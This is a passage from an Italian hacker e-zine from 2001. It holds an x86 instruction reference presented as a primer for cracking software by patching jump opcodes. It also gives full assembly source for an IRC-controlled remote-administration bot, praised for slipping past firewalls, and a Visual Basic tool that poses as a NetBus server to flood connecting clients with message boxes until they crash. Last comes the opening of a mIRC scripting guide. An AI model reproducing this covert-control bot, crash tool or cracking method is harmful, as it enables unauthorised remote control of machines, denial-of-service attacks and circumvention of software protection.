RCL - Rotate Through Carry Left
RCR - Rotate Through Carry Right
REP - Repeat String Operation
REPE/REPZ - Repeat Equal / Repeat Zero

REPNE/REPNZ - Repeat Not Equal / Repeat Not Zero
RET/RETF - Return From Procedure
ROL - Rotate Left
ROR - Rotate Right
SAHF - Store AH Register into FLAGS
SAL/SHL - Shift Arithmetic Left / Shift Logical Left
SAR - Shift Arithmetic Right
SBB - Subtract with Borrow/Carry
SCAS - Scan String (Byte, Word or Doubleword)
SETAE/SETNB - Set if Above or Equal / Set if Not Below (386+)

SETB/SETNAE - Set if Below / Set if Not Above or Equal (386+)
SETBE/SETNA - Set if Below or Equal / Set if Not Above (386+)
SETE/SETZ - Set if Equal / Set if Zero (386+)
SETNE/SETNZ - Set if Not Equal / Set if Not Zero (386+)
SETL/SETNGE - Set if Less / Set if Not Greater or Equal (386+)
SETGE/SETNL - Set if Greater or Equal / Set if Not Less (386+)
SETLE/SETNG - Set if Less or Equal / Set if Not greater or Equal
SETG/SETNLE - Set if Greater / Set if Not Less or Equal (386+)
SETS - Set if Signed (386+)
SETNS - Set if Not Signed (386+)
SETC - Set if Carry (386+)
SETNC - Set if Not Carry (386+)
SETO - Set if Overflow (386+)
SETNO - Set if Not Overflow (386+)
SETP/SETPE - Set if Parity / Set if Parity Even (386+)
SETNP/SETPO - Set if No Parity / Set if Parity Odd (386+)

SGDT - Store Global Descriptor Table (286+ privileged)
SIDT - Store Interrupt Descriptor Table (286+ privileged)
SHL - Shift Logical Left
SHR - Shift Logical Right
SHLD/SHRD - Double Precision Shift (386+)
SLDT - Store Local Descriptor Table (286+ privileged)
SMSW - Store Machine Status Word (286+ privileged)
STC - Set Carry
STD - Set Direction Flag
STI - Set Interrupt Flag (Enable Interrupts)
STOS - Store String (Byte, Word or Doubleword)
STR - Store Task Register (286+ privileged)
SUB - Subtract
TEST - Test For Bit Pattern
VERR - Verify Read (286+ protected)
VERW - Verify Write (286+ protected)
WAIT/FWAIT - Event Wait
WBINVD - Write-Back and Invalidate Cache (486+)
XCHG - Exchange

XLAT/XLATB - Translate
XOR - Exclusive OR

Dopo avervi proposto questo immondo elenco (hihihi se lo avete letto,
bestemmiate, io non l'ho scritto l'ho semplicemente pastato :P) potremmo
passare ad analizzare le istruzioni che ci torneranno utili nelle nostre
scorribande all'interno di debugger e disassemblatori :)

Tralasciando i vari 'adjust', la prima istruzione che potrebbe interessarci e'
l'add, come potrete immaginare e' utilizzata per effettuare summe sui dati che
le vengono associati:

ADD dest,src

Modifica i flags: AF CF OF PF SF ZF
somma "src" a "dest" e rimpiazza il contenuto di "dest".
Both operands are binary.

Gli operandi possono essere:

reg,reg
mem,reg
reg,mem
reg,immed
mem,immed
accum,immed

con: reg = registro
mem = locazione di memoria
immed = valore immediato (es. 20h 1Ah)
accum = accumulatore

Nota: le altre istruzioni di moltiplicazione, sottrazione, divisione e le
operazioni logiche, sono implementate in modo del tutto analogo. Non ho molto
tempo, quindi le tralascio. Saranno trattate nelle release successive, appena
ce ne sara' bisogno.

Altra istruzione molto interessante per noi newbie e' la CALL:

CALL destinazione

Esegue un chiamata ad un'altra parte del programma, alterando la
sequenza di esecuzione dello stesso. Viene utilizzata per effettuare
le cosiddette 'subroutines' di un dato eseguibile oppure per
effettuare le chiamate alle API del sistema operativo (vedremo piu'
avanti il loro utilizzo).
Prima di effettuare una call il processore salva nello stack il
registro eip (anche il cs, nel caso delle cosiddette 'far call', le
call a procedure localizzate in segmenti di codice diversi da quello
in cui viene eseguita la call) e carica in eip l'indirizzo della
procedura indicata dalla call, a questo punto l'esecuzione prosegue
con le istruzioni contenute a partire dalla nuova locazione.

Per completezza, stravolgo l'elenco delle istruzioni per descrivervi immediatamente l'istruzione che permette il ritorno dalla call:

RET nbyte

E' il ritorno dalla chiamata di procedura, permette di ritornare
all'istruzione immediatamente successiva alla call da cui si e'
partiti.
Viene utilizzata o da sola (RET) oppure seguita da un valore (nbyte),
se presente, nbyte indica alla cpu di 'rilasciare' il numero indicato
di bytes dallo stack.
Se il ritorno avviene da una 'far call' vengono ripristinati dallo
stack i valori precedentemente salvati di eip e cs, diversamente se la
call era all'interno dello stesso segmento, viene ripristinato solo il
registro eip.

Altra istruzione fondamentale e' costituita dal 'compare':

CMP dest, src

Istruzione di interesse fondamentale durante la procedura di crack di un
programma, per il semplice fatto che nel 90% dei casi e' seguita da un
salto condizionale che puo' portare ad una messagebox di errore o
portarci nel punto del programma 'dove vogliamo arrivare' ;)
Non fa altro che effettuare una sottrazione tra i valori di src e dest,
ma senza alterare nessuno dei due (contraziamente all'add) e quindi va a
modificare i flag AF CF OF PF SF ZF, successivamente questi possono
essere utilizzati per effettuare variazione del flusso del programma.

Gli operandi possono essere (con la stessa nomenclatura di sopra)

reg,reg
mem,reg
reg,mem
reg,immed
mem,immed
accum,immed

CMPS dest, src

Analoga al CMP visto poc'anzi, solo che viene utilizzata per comparare
due stringhe l'algoritmo di comparazione e' una sottrazione tra i due
operandi, senza salvare pero' il risultato, vengono solo alterati i flag
che riguardano l'operando AF CF OF PF SF ZF.
Il significato di dest e src, e' analago al caso precedente.

CMPXCHG dest, src

Compara e scambia: effettua il compare tra l'accumulatore e dest, se i
valori coincidono, allova il dato contenuto in src viene immesso in
dest, viceversa se sono differenti, dest e' inserito nell'accumulatore.

Valore di dest e src:

reg, reg
mem. reg

Altra istruzione di fondamentale importanza per i nostri scopi 'smanettoni'
e' costituita dal jump nelle sue forme (assoluto e condizionale):

JMP location

Effettua un salto incondizionato alla locazione specificata da
'location', puo' essere di due tipi Jump NEAR o SHORT se il salto
avviene nello stesso segmento di memoria, Jump FAR se il salto 'approda'
in un diverso segmento di memoria. Nel primo caso viene aggiornato il
registro EIP, mentre nel secondo vengono modificati anche il registro
CS.

Gli opcode dell'istruzione di jmp sono:

EB cb JMP rel8 Jump short, relative, displ. relative to next instruction
E9 cw JMP rel16 Jump near, relative, displ. relative to next instruction
E9 cd JMP rel32 Jump near, relative, displ. relative to next instruction
FF /4 JMP r/m16 Jump near, absolute indirect, address given in r/m16
FF /4 JMP r/m32 Jump near, absolute indirect, address given in r/m32
EA cd JMP ptr16:16 Jump far, absolute, address given in operand
EA cp JMP ptr16:32 Jump far, absolute, address given in operand
FF /5 JMP m16:16 Jump far, absolute indirect, address given in m16:16
FF /5 JMP m16:32 Jump far, absolute indirect, address given in m16:32

L'unica domanda che potrebbe sorgere a questo punto e' "perche' ogni jmp ha
quattro o cinque opcodes?"
, presto detto, dipende dalla possibilita' di
utilizzare diversi modi per fornire al processore la locazione a cui il
programma deve saltare: potrebbe essere contenuta in un registro, oppure
essere reperibile ad una data locazione di memoria, o essere esattamente
quella che c'e' scritta immediatamente dopo l'istruzione. Tutta questa
casistica deve essere distinguibile dalla cpu, dal loader del programma,
insomma, dal nostro computer, da qui i vari opcode per ogni salto.

Per concludere questo breve, ma intenso excursus nelle istruzioni piu' utilizzate dai crackers, non ci simangono da trattare che i salti condizionali.
Come si puo' immaginare dal nome, sono salti che avvengono "a condizione" che si verifichi un dato evento.
La forma e' come sempre:

JXX location

Jxx - Jump Instructions Table: Tavola dei vari tipi di salti condizionali

Mnemonico Significato Jump Condition

JA Jump if Above (maggiore) CF=0 and ZF=0
JAE Jump if Above or Equal (maggiore/uguale) CF=0
JB Jump if Below (minore) CF=1
JBE Jump if Below or Equal (minore/uguale) CF=1 or ZF=1
JC Jump if Carry (CF settato) CF=1

JCXZ Jump if CX Zero CX=0
JE Jump if Equal (uguale) ZF=1
JG Jump if Greater (signed) (maggiore in modulo) ZF=0 and SF=OF
JGE Jump if Greater or Equal (signed) (>= in modulo) SF=OF
JL Jump if Less (signed) (minore in modulo) SF != OF

JLE Jump if Less or Equal (signed) (<= in modulo) ZF=1 or SF != OF
JNA Jump if Not Above (non maggiore) CF=1 or ZF=1
JNAE Jump if Not Above or Equal (non maggiore/uguale) CF=1
JNB Jump if Not Below (non minore) CF=0
JNBE Jump if Not Below or Equal (non minore/uguale) CF=0 and ZF=0

JNC Jump if Not Carry (CF non settato) CF=0
JNE Jump if Not Equal (non uguale) ZF=0
JNG Jump if Not Greater (signed) (non maggiore) ZF=1 or SF != OF
JNGE Jump if Not Greater or Equal (signed) (non >=) SF != OF
JNL Jump if Not Less (signed) (non minore in mod.) SF=OF

JNLE Jump if Not Less or Equal (signed) (<= in mod.) ZF=0 and SF=OF
JNO Jump if Not Overflow (signed) OF=0
JNP Jump if No Parity PF=0
JNS Jump if Not Signed (signed) SF=0
JNZ Jump if Not Zero ZF=0

JO Jump if Overflow (signed) OF=1
JP Jump if Parity PF=1
JPE Jump if Parity Even PF=1
JPO Jump if Parity Odd PF=0
JS Jump if Signed (signed) SF=1

JZ Jump if Zero ZF=1

Segue una tabella con tutti gli opcode per questo tipo di salti. Alla fine
dei conti vedremo che per rendere definitiva una modifica su un programma,
dovremo andare a modificare uno o piu' di questi opcode.

77 cb JA rel8 Jump short if above (CF=0 and ZF=0)
73 cb JAE rel8 Jump short if above or equal (CF=0)
72 cb JB rel8 Jump short if below (CF=1)
76 cb JBE rel8 Jump short if below or equal (CF=1 or ZF=1)
72 cb JC rel8 Jump short if carry (CF=1)
E3 cb JCXZ rel8 Jump short if CX register is 0

E3 cb JECXZ rel8 Jump short if ECX register is 0
74 cb JE rel8 Jump short if equal (ZF=1)
7F cb JG rel8 Jump short if greater (ZF=0 and SF=OF)
7D cb JGE rel8 Jump short if greater or equal (SF=OF)
7C cb JL rel8 Jump short if less (SF<>OF)
7E cb JLE rel8 Jump short if less or equal (ZF=1 or SF<>OF)

76 cb JNA rel8 Jump short if not above (CF=1 or ZF=1)
72 cb JNAE rel8 Jump short if not above or equal (CF=1)
73 cb JNB rel8 Jump short if not below (CF=0)
77 cb JNBE rel8 Jump short if not below or equal (CF=0 and ZF=0)
73 cb JNC rel8 Jump short if not carry (CF=0)
75 cb JNE rel8 Jump short if not equal (ZF=0)

7E cb JNG rel8 Jump short if not greater (ZF=1 or SF<>OF)
7C cb JNGE rel8 Jump short if not greater or equal (SF<>OF)
7D cb JNL rel8 Jump short if not less (SF=OF)
7F cb JNLE rel8 Jump short if not less or equal (ZF=0 and SF=OF)
71 cb JNO rel8 Jump short if not overflow (OF=0)
7B cb JNP rel8 Jump short if not parity (PF=0)

79 cb JNS rel8 Jump short if not sign (SF=0)
75 cb JNZ rel8 Jump short if not zero (ZF=0)
70 cb JO rel8 Jump short if overflow (OF=1)
7A cb JP rel8 Jump short if parity (PF=1)
7A cb JPE rel8 Jump short if parity even (PF=1)
7B cb JPO rel8 Jump short if parity odd (PF=0)
78 cb JS rel8 Jump short if sign (SF=1)

74 cb JZ rel8 Jump short if zero (ZF = 1)
0F 87 cw/cd JA rel16/32 Jump near if above (CF=0 and ZF=0)
0F 83 cw/cd JAE rel16/32 Jump near if above or equal (CF=0)
0F 82 cw/cd JB rel16/32 Jump near if below (CF=1)
0F 86 cw/cd JBE rel16/32 Jump near if below or equal (CF=1 or ZF=1)

0F 82 cw/cd JC rel16/32 Jump near if carry (CF=1)
0F 84 cw/cd JE rel16/32 Jump near if equal (ZF=1)
0F 84 cw/cd JZ rel16/32 Jump near if 0 (ZF=1)
0F 8F cw/cd JG rel16/32 Jump near if greater (ZF=0 and SF=OF)
0F 8D cw/cd JGE rel16/32 Jump near if greater or equal (SF=OF)
0F 8C cw/cd JL rel16/32 Jump near if less (SF<>OF)

0F 8E cw/cd JLE rel16/32 Jump near if less or equal (ZF=1 or SF<>OF)
0F 86 cw/cd JNA rel16/32 Jump near if not above (CF=1 or ZF=1)
0F 82 cw/cd JNAE rel16/32 Jump near if not above or equal (CF=1)
0F 83 cw/cd JNB rel16/32 Jump near if not below (CF=0)
0F 87 cw/cd JNBE rel16/32 Jump near if not below or equal (CF=0 and ZF=0)

0F 83 cw/cd JNC rel16/32 Jump near if not carry (CF=0)
0F 85 cw/cd JNE rel16/32 Jump near if not equal (ZF=0)
0F 8E cw/cd JNG rel16/32 Jump near if not greater (ZF=1 or SF<>OF)
0F 8C cw/cd JNGE rel16/32 Jump near if not greater or equal (SF<>OF)
0F 8D cw/cd JNL rel16/32 Jump near if not less (SF=OF)

0F 8F cw/cd JNLE rel16/32 Jump near if not less or equal (ZF=0 and SF=OF)
0F 81 cw/cd JNO rel16/32 Jump near if not overflow (OF=0)
0F 8B cw/cd JNP rel16/32 Jump near if not parity (PF=0)
0F 89 cw/cd JNS rel16/32 Jump near if not sign (SF=0)
0F 85 cw/cd JNZ rel16/32 Jump near if not zero (ZF=0)

0F 80 cw/cd JO rel16/32 Jump near if overflow (OF=1)
0F 8A cw/cd JP rel16/32 Jump near if parity (PF=1)
0F 8A cw/cd JPE rel16/32 Jump near if parity even (PF=1)
0F 8B cw/cd JPO rel16/32 Jump near if parity odd (PF=0)
0F 88 cw/cd JS rel16/32 Jump near if sign (SF=1)
0F 84 cw/cd JZ rel16/32 Jump near if 0 (ZF=1)

Beh, cari lettori, per questa release e' tutto, questa volta vi dovrete
accontentare, visto che sono oberrato da impegni nella "real life" (gia'...
anche noi smanettoni abbiamo una vita al di fuori di circuiti bistabili e
impulsi di corrente ;) ) e quindi per sapere come iniziare a mettere in
pratica le conoscenze fin qui acquisite, dovrete aspettare un altro paio di
mesi, quando uscira' il numero successivo di questa fantastica 'zine.

Saluti a tutti.

Alla prossima.
_______________________________________________________________________________

Thanx and Greets:

CaptZero, Case, mrcode, Quequero, ZeroByte, Xian, Jeremia, Pater, JEYoNE, Weisses,
Tdi110cv, Lesion, Caret, Yado, AndreaGeddon... *.* ;) tutti insomma...

Special Thanx to: UmA, grazie di tutto bambina... :)

*******************************************************************************

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [L'APPRENDiSTA STREG0NE] #03 - 17/09/2001 |
| PR0GETT0 iRA [Tritemius] 0x24/0x29 |
+-------------------------------------------------------------------------------+

PR0GETT0 iRA
============
IRA sta per Irc Remote Administration e si tratta di un bot scritto in assembler
per amministrare macchine da remoto tramite Irc.
Il vantaggio di uno strumento di amministrazione remota del genere e' evidente:
non ci sono sospette porte aperte in ascolto.
Inoltre potrebbe gabbare un firewall configurato allegramente.
Una volta avviato, il bot cerca di collegarsi ad un dato irc server e ad un canale specifico.
Effettuata la connessione il bot si mette in attesa di ricevere ordini; ordini che
verranno impartiti semplicemente "chattando" con il bot stesso.
I comandi implementati sono semplici e non utilissimi (reboot, shutdown...), ma
possono essere facilmente estesi.
Il codice prevede gia' la possibilita' di passare una linea di comando alle eventuali funzioni
aggiuntive.
Perche' l'ho scritto in assembler ? All'inizio pensavo di modificare "The Thing";
poi ho deciso di riscriverlo, copiando solo le parti di gestione della connessione
tcp/ip (che poi sono standard). Un programma scritto in assembler e' particolarmente
compatto ed efficace.
Inoltre era tanto tempo che non scrivevo in assembler e questo piccolo lavoro mi e'
stato molto utile dal punto di vista auto-didattico.
I possibili utilizzi di questo bot sono innumerevoli.
Puo' essere sviluppato avendo come fine l'amministrazione di un canale irc, o
l'amministrazione remota della vosta macchina.
Tutto sta alla vostra immaginazione...

8<---[ira.asm]-----------------------------------------------------------------------------------

;
*************************************************************
;
; iRAB0T ~ IRC REMOTE ADMINISTRATION V 0.0
; TASM 5
; Tritemius 2001
;
; All'inizio doveva essere un Thing modificato; poi,
visto che
; non avevo niente da fare, l'ho riscritto. Ho
mantenuto solo
; la parte socket.
;
; Questo gingillo cosi' com'e' non fa nulla di
interessante;
; con un paio di modifiche magari puo' anche essere
utile :)
;
;
*************************************************************

.486
locals
jumps

.Model Flat ,StdCall

SOCKET_ERROR equ -1
EWX_SHUTDOWN equ 1
EWX_REBOOT equ 2

WSAdata STRUCT
wVersion WORD ?
wHighVersion WORD ?
szDescription BYTE ?
szSystemStatus BYTE ?
iMaxSockets WORD ?
iMaxUdpDg WORD ?
lpVendorInfo DWORD ?
WSAdata ENDS

sockaddr_in STRUCT
sin_family WORD 0
sin_port WORD 0
sin_addr DWORD 0
sin_zero BYTE 8 dup (0)
sockaddr_in ENDS

INADDR_ANY equ 000000000h
AF_INET equ 2
max_size equ 1024
max_line equ 80


extrn WSAStartup : proc
extrn WSACleanup : proc
extrn WSAGetLastError : proc
extrn htons : proc
extrn bind : proc
extrn socket : proc
extrn listen : proc
extrn accept : proc
extrn connect : proc
extrn inet_addr : proc
extrn send : proc
extrn recv : proc
extrn closesocket : proc
extrn gethostname : proc
extrn gethostbyname : proc
extrn inet_ntoa : proc

extrn ExitProcess : proc
extrn MessageBoxA : proc
extrn lstrlen : proc
extrn lstrcpy : proc
extrn ExitWindowsEx : proc

.Data

wsa WSADATA ?

sa dw AF_INET
sockport db 0,0
sockip db 0,0,0,0
db 8 dup(0)

port dd 6000
conn_socket dd 0
data_socket dd 0
server sockaddr_in <0,0,0,0>
client sockaddr_in ?
text2 db 30 dup (0)
saddrlen dw 16
db 16 dup (0)


buff db 1030 dup (0)
cmdline db 80 dup (0)
caption db "Error",0
msg db "Messaggio",0
errWSAStartup db "WSA Startup error.",0
errSocket db "Socket error.",0
errHostName db "Hostname error.",0
errConnect db "Connect error.",0
msgOk db "Ok",0
serverip db "192.168.0.1",0

msgUSER db 'USER a b c d',13,10,0
msgNICK db 'NICK ]irab0t[',13,10,0
msgJOIN db 'JOIN #ira',13,10,0

cmdPING db 'PING',0
cmdPONG db 'PONG',0
cmdPRIVMSG db 'PRIVMSG',0
cmdQuit db 'QUIT',13,0
cmdJoinMsg db 'PRIVMSG #ira :IRA 0.0 is here ~
trtms rulezza di brutto :)',13,0
cmdHelp db 'PRIVMSG #ira :IRA 0.0 by
Tritemius',13
db 'PRIVMSG #ira :i cmd devono essere
preceduti da !',13
db 'PRIVMSG #ira :!kill - quitta il
bot e lo ammazza',13
db 'PRIVMSG #ira :!reboot - riavvia il
comp',13
db 'PRIVMSG #ira :!shutdown - arresta
il comp',13,0

cmd1 db 'kill',0
cmd2 db 'reboot',0
cmd3 db 'shutdown',0
cmd4 db 'help',0
cmd5 db '*',0

cmdtab dd cmd1,ExecCMD1,cmd2,ExecCMD2 ;
Questa tabella contiene gli indirizzi delle
dd cmd3,ExecCMD3,cmd4,ExecCMD4 ;
stringhe dei comandi (cmd1,cmd2...) e gli
dd cmd5,0 ; indirizzi delle routine
relative.

.Code

Main:
call WSAStartup,202h,offset wsa
cmp eax,SOCKET_ERROR
jnz startupok

call ShowMsg, offset caption,offset
errWSAStartup
jmp quit

startupok:

call socket, 2, 1, 0
cmp eax,0
jne socketok
call ShowMsg, offset caption,offset errSocket
jmp quit

socketok:
mov conn_socket,eax

call htons,6667

mov [server.sin_family],AF_INET
mov [server.sin_port],ax

call inet_addr,offset serverip
cmp eax,-1
jnz hostnameok
call ShowMsg, offset caption,offset
errHostName
jmp quit


hostnameok:
mov [server.sin_addr],eax
call connect,conn_socket,offset server,16
cmp eax,-1
jnz connectok
call ShowMsg, offset caption,offset errConnect
jmp quit

connectok:

call lstrlen,offset msgUSER ; si collega al
server e joina #ira
call send,conn_socket,offset msgUSER,eax,0

call lstrlen,offset msgNICK
call send,conn_socket,offset msgNICK,eax,0

call recv,conn_socket,offset buff,1024,0

call SendCMD,offset msgJOIN
call SendCMD,offset cmdJoinMsg

mainloop:
call recv,conn_socket,offset buff,1024,0
; ciclo principale, nulla di speciale

call GetLine,offset buff,offset cmdline
; aspetta l'input da irc

call IsPING,offset cmdline
; se e' PING risponde con PONG
jnz noping
call SendCMD,offset cmdPONG
jmp mainloop
noping:
call ParseCMD,offset cmdline
; altrimenti controlla se si tratta di un comando
cmp eax,-1
; esce se e' syato dato un cmd di uscita
jne mainloop

quit:
call WSACleanup
call ExitProcess

ShowMsg proc adrcap:DWORD,adrmsg:DWORD
mov eax,[adrcap]
push 0
push eax
mov eax,[adrmsg]
push eax
push 0
call MessageBoxA
ret
endp ShowMsg

GetLine proc adrsrc:DWORD,adrdst:DWORD
mov esi,[adrsrc]
mov edi,[adrdst]
@@copia:
mov al,byte ptr [esi]
cmp al,0Dh
jz @@fine
mov byte ptr [edi],al
inc esi
inc edi
jmp @@copia

@@fine:
mov byte ptr [edi],0
ret
endp GetLine

SendCMD proc adrcmd:DWORD
call lstrlen,[adrcmd]
call send,conn_socket,[adrcmd],eax,0
ret
endp SendCMD

IsPING proc adrcmdline:DWORD
mov esi,[adrcmdline]
mov edi,offset cmdPING
mov ecx,4
@@ciclo:
mov al,byte ptr [esi]
cmp byte ptr [edi],al
jnz @@noping
mov byte ptr [edi],al
inc esi
inc edi
dec ecx
jnz @@ciclo
jmp @@isping
@@noping:
mov eax,-1
ret
@@isping:
xor eax,eax
ret

endp IsPING

ParseCMD proc adrcmdline:DWORD ; alla ricerca di
comandi
mov ecx,max_line
mov esi,[adrcmdline]
@@noblank:
inc esi
dec ecx
jz @@fine
cmp byte ptr [esi],20h
jne @@noblank
@@isprivmsg:
inc esi
dec ecx
jz @@fine
mov edi,offset cmdPRIVMSG
mov al,byte ptr [edi]
jz @@privmsgok
inc edi
cmp byte ptr [esi],al
je @@isprivmsg
@@privmsgok:
cmp byte ptr [esi],'!' ; se non inizia con !
non e' un comando
jz @@cmdok
inc esi
dec ecx
jz @@fine
jmp @@privmsgok

@@cmdok:
mov edx,esi
mov ebx,offset cmdtab

@@findcmd:
mov esi,edx ; controlla se la
linea di comando contiene un comando valido
mov edi,[ebx]
cmp byte ptr [edi],'*' ; la tabella comandi
finisce con '*'
je @@fine
add ebx,8

@@findcmdloop:
inc esi
dec ecx
jz @@fine
mov al,byte ptr [edi]
cmp al,0
je @@cmdfound
inc edi
cmp byte ptr [esi],al
je @@findcmdloop
jmp @@findcmd

@@cmdfound:
sub ebx,4 ; prende l'indirizzo della
routine dalla tabella cmdtab
push esi ; passa alla routine eventuali
parametri
call [ebx] ; esegue comando

@@fine:
ret
endp ParseCMD

ExecCMD1 proc addrcmdline:DWORD ; kill
call SendCMD,offset cmdQuit ; invia quit
mov eax,-1
ret
endp ExecCMD1

ExecCMD2 proc addrcmdline:DWORD ; reboot
call ExitWindowsEx,EWX_REBOOT,0
mov eax,-1
ret
endp ExecCMD2

ExecCMD3 proc addrcmdline:DWORD ; shutdown
call ExitWindowsEx,EWX_SHUTDOWN,0
mov eax,-1
ret
endp ExecCMD3

ExecCMD4 proc addrcmdline:DWORD ; help
call SendCMD,offset cmdHelp ; invia help
xor eax,eax
ret
endp ExecCMD4

end main

8<---[make.bat]-----------------------------------------------------------------------------------
@echo off
c:\tasm\bin\tasm32 /mx /m1 /z /zn /t ira
c:\tasm\bin\tlink32 -x /Tpe /aa /c ira,ira,,
import32.lib
if exist *.obj del *.obj
if exist *.map del *.map




+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [L'APPRENDiSTA STREG0NE] #03 - 17/09/2001 |
| NETBUSFUCKER [bondo] 0x25/0x29 |
+-------------------------------------------------------------------------------+

============================================================================================
_ _
_| |_| ____ _
__ _ _/_ _|_ _ _ ____| __| __| | _ ___ _ _
| | \/ _ \ | \[ | | __] __| ] _\|/ | _ \ ^_|
| | __/ | | | | |__ | | | | (|_ < __/ |
[__|__]___]_]\___|__/[___/|_|__/\___/|\_|___]_] by bondo


Aiuto! Mi si è aperto il lettore cd...

============================================================================================ Ultimamente, c'è in giro molta (anzi, troppa) gente very lamer, che se ne va allegramente scannando interi range di indirizzi ip sulla porta 12345, alla ricerca di un povero ignaro e sfortunato computer con il NetBus che gira. Te ne puoi accorgere il sabato pomeriggio, quando il firewall ti segnala ogni 3x2 un tentativo di accesso su quella porta. Da quando è uscito il nuovo SubSeven, la tendenza di utilizzare NetBus è diminuita, anche se non si può certo dire che sia svanita. Poichè questa gentaglia che occupa banda inutilmente si suppone voglia trovare un computer sul quale fare un po' di danni, mi stà leggermente poco simpatica e visto che voglio vedere un computer crashato (eh già, pochi si accontentano di aprire lo sportellino del cd - tanti cancellano pesante), perchè non crashargli proprio il loro? Dovete sapere che il server (vittima) può far comparire sul client (bastardo) un message box, semplicemente inviandogli una stringa del tipo: Info;testodamandare La particolarità di queste message box è che finchè non le chiudi, non puoi smanettare con il client del NetBus (se provate a cliccare nella finestra del NetBus, windows si incazza e vi spara nelle casse il 'Ding.wav' di errore). E se io mandassi al client, che ne so, 100 message box così? Beh, lo stronzetto di turno dovrebbe cliccare su Ok di tutte e 100 le finestrelle comparse prima di poter utilizzare il NetBus. Diciamo che il numero di Info da mandare può essere 'unsigned long a piacere', ovvero finchè crasha o chiude la connessione. Per fare tutto ciò, ho scritto un programmino che mi gira in background e se ne stà in ascolto su quella cazzo di 12345 in attesa di qualcuno che voglia un po' di finestrelle. Il funzionamento è semplicissimo: quando qualcuno di connette, gli manda la stringa 'NetBus 1.60' che identifica la versione del server e specifica che non è richiesta alcuna password. A questo punto, parte la routine di invio delle finestrelle con la frasetta che avete pecificato. Da notare che dal vostro computer continueranno a uscire dati per il client del trojan, quindi evitate cicli infiniti (while(1) non sono di norma ben tollerati). Il programma l'ho scritto in visual basic perchè avevo un po' fretta (fretta rulez!).
Ecco il sorgente...
Private Sub Command1_Click()
Form1.Visible = False
Winsock1.Close
Winsock1.Listen End Sub '---------------------------------------------------------------------------
Private Sub Form_Load()
Winsock1.LocalPort = 12345
Winsock1.Listen End Sub '---------------------------------------------------------------------------
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If (Winsock1.State <> sckClosed) Then Winsock1.Close
Winsock1.Accept requestID
Form1.Visible = True
Text1.Text = Winsock1.RemoteHostIP
Text2.Text = Winsock1.RemoteHost
Nukkka
End Sub
'---------------------------------------------------------------------------
Private Sub Nukkka()
welcome$ = "NetBus 1.60"
mabene$ = "Info;Benvenuto, lamer del caz!" + vbCrLf
Winsock1.SendData welcome$
For u = 0 To 100000 'long a piacere
Winsock1.SendData mabene$
Next u
End Sub
'---------------------------------------------------------------------------
Private Sub Winsock1_Close()
Winsock1.Close
Winsock1.Listen
End Sub
'---------------------------------------------------------------------------
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close
Winsock1.Listen
End Sub

----------------------------------------------------------------------------

Io ho creato un form così:


+---------------------------+
| NetBusFucker by bondo |X||
+---------------------------+
| Il caro amico... |
| _________ __________ |
| |IP_______| |HOSTNAME__| |
| |
| ...ha ricevuto un po' di |
| di finestrelle. |
| _______________________ |
| | RESET | |
| |_______________________| |
+---------------------------+

che compare solo quando qualcuno si connette e indica l'indirizzo ip e l'hostname del lamerozzo. Per imboscare ancora il form e resettare la connessione, c'è il pulsantino 'reset'. Ecco l'elenco completo dei componenti utilizzati:
- edit box: IP
- edit box: HOSTNAME
- button : RESET
- controllo OCX del winsock
- zucchero quanto basta
capitto?!
bye bye, gente ============================================================================================ -.~.-([ bondo ])-.~.- bondo@marijuana.com ============================================================================================

+-------------------------------------------------------------------------------+
| ONDAQUADRA MAGAZINE ~ [L'APPRENDiSTA STREG0NE] #03 - 17/09/2001 |
| GUiDA SUL MiRC SCRiPTiNG [PARTE 1] [[]_CyBeRPuNK_[]] 0x26/0x29 |
+-------------------------------------------------------------------------------+
slackware@estranet.it



Sicuramente vi sara' capitato di vedere in IRC messaggi automatici come saluti e messaggi di vario tipo, seguiti da un "logo" che include la parola "script". Chi frequenta da tempo le chat neanche ci fa caso, ma per i newbies (i nuovi del posto) spesso diventano dei misteri inspiegabili, o nei migliori dei casi roba da super esperti. In realta' la parola "script" ha un significato estremamente semplice: e' una serie di istruzioni che permette di fare qualcosa. Noi ci riferiremo agli script per mIRC, un IRC client (applicazione che permette di collegarsi ad una rete IRC per sfruttarne i servizi). Le domande che si possono porre sul nostro argomento sono molteplici, e noi cercheremo di soddisfare il vostro desiderio di sapere.
Come prima cosa, se avete intenzione di fare uno script, dovrete armarvi di tanta buona volonta' e tempo libero. Infatti chi ha gia' dei precedenti in programmazione potrebbe reputare "semplice e scarno" il linguaggio del mIRC, ma non e' affatto cosi'. Il mIRC e' qualcosa di piu' di una brutta copia dei linguaggi come il C, permette di usare tutte le strutture piu' usate,e' la rampa di lancio per qualsiasi linguaggio,dal c++ al vb,ed implementa un notevole numero di comandi.
Per chi invece non ha mai programmato, all'inizio potrebbe farsi prendere dallo sconforto, e l'unico consiglio utile e': se qualcosa non vi funzionasse, rileggete attentamente il tutto, perche' l'errore c'e' di sicuro, e potrebbe anch'essere una parentesi al posto sbagliato, quindi non prendetevela con tastiera e monitor!
Lo scripting per molti puo diventare anche un modo per distinguersi dagli altri,perche' invece di usare client (si e' spiegato prima a cosa ci si riferisce) fatti da altri si usa il proprio e fa molto piacere quando altri utenti vengono a chiederti dove possano trovare il tuo script o come si faccia a fare una cosa che hanno visto da te.
Sicuramente uno non nasce imparato quindi ci vorrà un po di tempo xkè impari anke le cose basilari di questo magnifico linguaggio,percui non pensate di mettervi li e fare uno script in un mese,se non avete già fatto la vostra esperienza.
Per aiutarvi a capire meglio i segreti dello scripting, qui di seguito troverete una guida divisa in sezioni, dai comandi basilari, fino alle spiegazioni più dettagliate, per gl'esperti.
Godetevi lo spettacolo! =)


La sezione Alias.
Selezionare la voce di menu Tools/Aliases/.
Verrà avviato l'Editor di mIRC e verrà aperta la sezione Aliases. Si ignorino per ora le sezioni Popups, Remote, Users e Variables!

L'Editor di mIRC viene utilizzato come una interfaccia uniforme e compatta per tutte le sezioni programmabili di mIRC. Con la sezione Aliases selezionata il menu 'File' vi aiuterà a caricare, scaricare e salvare i file di alias. Il menu 'Edit' offre le funzioni di copia/incolla e di ricerca. Il menu 'View' consente di selezionare qualche file di alias modificare ed il menu 'Alias' visualizza un indice dei file di alias correntemente aperti.

